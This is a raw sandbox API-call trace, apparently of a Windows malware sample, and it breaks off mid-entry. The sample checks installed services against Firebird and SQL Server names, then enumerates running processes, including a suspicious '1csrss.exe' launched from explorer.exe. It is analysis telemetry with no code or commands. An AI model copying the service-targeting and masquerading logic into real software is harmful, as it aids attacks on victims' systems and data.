[0317.564] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0317.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0317.564] lstrlenW (lpString="LanmanWorkstation") returned 17 [0317.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0317.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0317.564] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0317.564] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0317.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0317.564] lstrlenW (lpString="lfsvc") returned 5 [0317.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0317.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0317.564] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0317.564] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0317.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0317.565] lstrlenW (lpString="lmhosts") returned 7 [0317.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0317.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0317.565] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0317.565] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0317.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0317.565] lstrlenW (lpString="LSM") returned 3 [0317.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0317.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0317.565] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0317.565] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0317.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0317.565] lstrlenW (lpString="MapsBroker") returned 10 [0317.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0317.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0317.565] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0317.565] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0317.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0317.565] lstrlenW (lpString="MpsSvc") returned 6 [0317.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0317.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0317.565] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0317.565] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0317.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0317.565] lstrlenW (lpString="NcbService") returned 10 [0317.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0317.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0317.565] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0317.565] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0317.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0317.565] lstrlenW (lpString="netprofm") returned 8 [0317.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0317.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0317.565] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0317.565] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0317.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0317.565] lstrlenW (lpString="NgcSvc") returned 6 [0317.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0317.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0317.565] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0317.565] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0317.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0317.565] lstrlenW (lpString="NlaSvc") returned 6 [0317.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0317.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0317.566] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0317.566] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0317.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0317.566] lstrlenW (lpString="nsi") returned 3 [0317.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0317.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0317.566] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0317.566] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0317.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0317.566] lstrlenW (lpString="PcaSvc") returned 6 [0317.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0317.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0317.566] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0317.566] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0317.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0317.566] lstrlenW (lpString="PlugPlay") returned 8 [0317.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0317.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0317.566] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0317.566] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0317.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0317.566] lstrlenW (lpString="Power") returned 5 [0317.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0317.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0317.566] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0317.566] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0317.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0317.566] lstrlenW (lpString="ProfSvc") returned 7 [0317.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0317.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0317.566] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0317.566] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0317.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0317.566] lstrlenW (lpString="RpcEptMapper") returned 12 [0317.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0317.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0317.566] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0317.566] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0317.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0317.566] lstrlenW (lpString="RpcSs") returned 5 [0317.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0317.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0317.567] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0317.567] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0317.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0317.567] lstrlenW (lpString="SamSs") returned 5 [0317.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0317.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0317.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0317.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0317.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0317.567] lstrlenW (lpString="Schedule") returned 8 [0317.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0317.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0317.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0317.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0317.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0317.567] lstrlenW (lpString="SecurityHealthService") returned 21 [0317.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0317.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0317.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0317.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0317.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0317.567] lstrlenW (lpString="SENS") returned 4 [0317.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0317.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0317.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0317.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0317.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0317.567] lstrlenW (lpString="ShellHWDetection") returned 16 [0317.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0317.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0317.567] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0317.567] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0317.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0317.567] lstrlenW (lpString="Spooler") returned 7 [0317.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0317.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0317.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0317.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0317.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0317.567] lstrlenW (lpString="SSDPSRV") returned 7 [0317.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0317.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0317.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0317.568] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0317.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0317.568] lstrlenW (lpString="StateRepository") returned 15 [0317.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0317.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0317.568] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0317.568] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0317.568] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d0048 | out: hHeap=0x490000) returned 1 [0317.568] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x238 [0317.572] Process32FirstW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0317.572] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0317.573] lstrlenW (lpString="System") returned 6 [0317.573] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0317.574] lstrlenW (lpString="smss.exe") returned 8 [0317.574] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0317.574] lstrlenW (lpString="csrss.exe") returned 9 [0317.574] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0317.575] lstrlenW (lpString="wininit.exe") returned 11 [0317.575] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0317.575] lstrlenW (lpString="csrss.exe") returned 9 [0317.575] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0317.576] lstrlenW (lpString="winlogon.exe") returned 12 [0317.576] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0317.576] lstrlenW (lpString="services.exe") returned 12 [0317.576] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0317.577] lstrlenW (lpString="lsass.exe") returned 9 [0317.577] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0317.577] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0317.577] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0317.578] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0317.578] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.579] lstrlenW (lpString="svchost.exe") returned 11 [0317.579] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.579] lstrlenW (lpString="svchost.exe") returned 11 [0317.579] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0317.580] lstrlenW (lpString="dwm.exe") returned 7 [0317.580] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.580] lstrlenW (lpString="svchost.exe") returned 11 [0317.580] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.581] lstrlenW (lpString="svchost.exe") returned 11 [0317.581] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.581] lstrlenW (lpString="svchost.exe") returned 11 [0317.581] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.582] lstrlenW (lpString="svchost.exe") returned 11 [0317.582] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.583] lstrlenW (lpString="svchost.exe") returned 11 [0317.583] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.583] lstrlenW (lpString="svchost.exe") returned 11 [0317.583] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.584] lstrlenW (lpString="svchost.exe") returned 11 [0317.584] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.584] lstrlenW (lpString="svchost.exe") returned 11 [0317.584] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.585] lstrlenW (lpString="svchost.exe") returned 11 [0317.585] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.585] lstrlenW (lpString="svchost.exe") returned 11 [0317.585] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0317.586] lstrlenW (lpString="spoolsv.exe") returned 11 [0317.586] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0317.586] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0317.586] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0317.587] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0317.587] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0317.587] lstrlenW (lpString="Memory Compression") returned 18 [0317.587] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.588] lstrlenW (lpString="svchost.exe") returned 11 [0317.588] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0317.589] lstrlenW (lpString="audiodg.exe") returned 11 [0317.589] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0317.589] lstrlenW (lpString="sihost.exe") returned 10 [0317.589] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.590] lstrlenW (lpString="svchost.exe") returned 11 [0317.590] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0317.590] lstrlenW (lpString="taskhostw.exe") returned 13 [0317.590] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0317.591] lstrlenW (lpString="explorer.exe") returned 12 [0317.591] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0317.591] lstrlenW (lpString="SearchUI.exe") returned 12 [0317.591] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0317.592] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0317.592] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0317.593] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0317.593] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0317.593] lstrlenW (lpString="1csrss.exe") returned 10 [0317.593] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.594] lstrlenW (lpString="svchost.exe") returned 11 [0317.594] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, 